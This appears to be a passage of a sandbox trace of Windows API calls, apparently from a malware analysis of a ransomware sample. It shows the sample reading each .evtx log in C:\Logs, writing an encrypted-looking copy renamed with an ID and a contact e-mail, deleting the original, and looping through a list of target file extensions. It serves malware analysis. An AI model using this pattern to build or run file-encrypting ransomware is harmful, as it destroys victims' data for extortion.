	[0049.438] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.438] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x12a, lpOverlapped=0x0) returned 1
	[0049.438] SetEndOfFile (hFile=0x390) returned 1
	[0049.438] CloseHandle (hObject=0x390) returned 1
	[0049.440] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.440] SetEndOfFile (hFile=0x388) returned 1
	[0049.441] CloseHandle (hObject=0x388) returned 1
	[0049.441] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.441] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1
	[0049.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.441] lstrlenW (lpString=".doc") returned 4
	[0049.441] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.441] lstrlenW (lpString=".docx") returned 5
	[0049.442] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.442] lstrlenW (lpString=".pdf") returned 4
	[0049.442] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString=".xls") returned 4
	[0049.442] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString=".xlsx") returned 5
	[0049.442] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.442] lstrlenW (lpString=".ppt") returned 4
	[0049.442] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.442] lstrlenW (lpString=".zip") returned 4
	[0049.442] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString=".rar") returned 4
	[0049.442] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString=".bz2") returned 4
	[0049.442] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString=".7z") returned 3
	[0049.442] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.442] lstrlenW (lpString=".dbf") returned 4
	[0049.442] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.442] lstrlenW (lpString=".1cd") returned 4
	[0049.442] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.442] lstrlenW (lpString=".jpg") returned 4
	[0049.442] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.442] lstrlenW (lpString=".doc") returned 4
	[0049.442] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString=".docx") returned 5
	[0049.442] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.442] lstrlenW (lpString=".pdf") returned 4
	[0049.442] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.442] lstrlenW (lpString=".xls") returned 4
	[0049.442] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.443] lstrlenW (lpString=".xlsx") returned 5
	[0049.443] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.443] lstrlenW (lpString=".ppt") returned 4
	[0049.443] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.443] lstrlenW (lpString=".zip") returned 4
	[0049.443] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.443] lstrlenW (lpString=".rar") returned 4
	[0049.443] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.443] lstrlenW (lpString=".bz2") returned 4
	[0049.443] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.443] lstrlenW (lpString=".7z") returned 3
	[0049.443] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.443] lstrlenW (lpString=".dbf") returned 4
	[0049.443] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.443] lstrlenW (lpString=".1cd") returned 4
	[0049.443] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0049.443] lstrlenW (lpString=".jpg") returned 4
	[0049.443] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.443] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.443] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59
	[0049.443] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.443] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0049.443] CloseHandle (hObject=0x388) returned 1
	[0049.444] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20
	[0049.444] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.444] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.444] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.444] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.444] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.453] GetLastError () returned 0x0
	[0049.453] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.528] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.529] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.529] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x14a, lpOverlapped=0x0) returned 1
	[0049.530] SetEndOfFile (hFile=0x38c) returned 1
	[0049.530] CloseHandle (hObject=0x38c) returned 1
	[0049.531] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.531] SetEndOfFile (hFile=0x388) returned 1
	[0049.532] CloseHandle (hObject=0x388) returned 1
	[0049.532] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.533] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1
	[0049.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.533] lstrlenW (lpString=".doc") returned 4
	[0049.533] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.533] lstrlenW (lpString=".docx") returned 5
	[0049.533] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.533] lstrlenW (lpString=".pdf") returned 4
	[0049.533] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.533] lstrlenW (lpString=".xls") returned 4
	[0049.533] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.533] lstrlenW (lpString=".xlsx") returned 5
	[0049.533] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.533] lstrlenW (lpString=".ppt") returned 4
	[0049.533] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.533] lstrlenW (lpString=".zip") returned 4
	[0049.533] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.533] lstrlenW (lpString=".rar") returned 4
	[0049.533] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.533] lstrlenW (lpString=".bz2") returned 4
	[0049.533] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.533] lstrlenW (lpString=".7z") returned 3
	[0049.533] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString=".dbf") returned 4
	[0049.534] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString=".1cd") returned 4
	[0049.534] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString=".jpg") returned 4
	[0049.534] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString=".doc") returned 4
	[0049.534] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString=".docx") returned 5
	[0049.534] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.534] lstrlenW (lpString=".pdf") returned 4
	[0049.534] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString=".xls") returned 4
	[0049.534] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString=".xlsx") returned 5
	[0049.534] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.534] lstrlenW (lpString=".ppt") returned 4
	[0049.534] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString=".zip") returned 4
	[0049.534] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString=".rar") returned 4
	[0049.534] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString=".bz2") returned 4
	[0049.534] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString=".7z") returned 3
	[0049.534] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString=".dbf") returned 4
	[0049.534] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.534] lstrlenW (lpString=".1cd") returned 4
	[0049.535] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0049.535] lstrlenW (lpString=".jpg") returned 4
	[0049.535] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.535] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.535] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47
	[0049.535] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.815] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0049.815] CloseHandle (hObject=0x388) returned 1
	[0049.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20
	[0049.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.815] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.815] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.816] GetLastError () returned 0x0
	[0049.816] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.943] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.945] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.945] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x132, lpOverlapped=0x0) returned 1
	[0049.945] SetEndOfFile (hFile=0x38c) returned 1
	[0049.945] CloseHandle (hObject=0x38c) returned 1
	[0049.947] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.947] SetEndOfFile (hFile=0x388) returned 1
	[0049.948] CloseHandle (hObject=0x388) returned 1
	[0049.948] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.948] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1
	[0049.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.949] lstrlenW (lpString=".doc") returned 4
	[0049.949] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString=".docx") returned 5
	[0049.949] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.949] lstrlenW (lpString=".pdf") returned 4
	[0049.949] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString=".xls") returned 4
	[0049.949] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString=".xlsx") returned 5
	[0049.949] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.949] lstrlenW (lpString=".ppt") returned 4
	[0049.949] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.949] lstrlenW (lpString=".zip") returned 4
	[0049.949] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString=".rar") returned 4
	[0049.949] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString=".bz2") returned 4
	[0049.949] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString=".7z") returned 3
	[0049.949] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.949] lstrlenW (lpString=".dbf") returned 4
	[0049.949] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.949] lstrlenW (lpString=".1cd") returned 4
	[0049.950] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.950] lstrlenW (lpString=".jpg") returned 4
	[0049.950] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.950] lstrlenW (lpString=".doc") returned 4
	[0049.950] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString=".docx") returned 5
	[0049.950] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.950] lstrlenW (lpString=".pdf") returned 4
	[0049.950] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString=".xls") returned 4
	[0049.950] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString=".xlsx") returned 5
	[0049.950] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.950] lstrlenW (lpString=".ppt") returned 4
	[0049.950] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.950] lstrlenW (lpString=".zip") returned 4
	[0049.950] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString=".rar") returned 4
	[0049.950] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString=".bz2") returned 4
	[0049.950] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString=".7z") returned 3
	[0049.950] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.950] lstrlenW (lpString=".dbf") returned 4
	[0049.950] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.950] lstrlenW (lpString=".1cd") returned 4
	[0049.950] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0049.950] lstrlenW (lpString=".jpg") returned 4
	[0049.950] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.951] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.951] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49
	[0049.951] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.954] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0049.954] CloseHandle (hObject=0x388) returned 1
	[0049.954] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20
	[0049.954] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.954] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.954] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.954] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.954] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.955] GetLastError () returned 0x0
	[0049.955] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.123] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.124] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.124] WriteFile (in: hFile=0x38c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x136, lpOverlapped=0x0) returned 1
	[0050.124] SetEndOfFile (hFile=0x38c) returned 1
	[0050.125] CloseHandle (hObject=0x38c) returned 1
	[0050.126] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.126] SetEndOfFile (hFile=0x388) returned 1
	[0050.127] CloseHandle (hObject=0x388) returned 1
	[0050.127] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.128] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1
	[0050.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
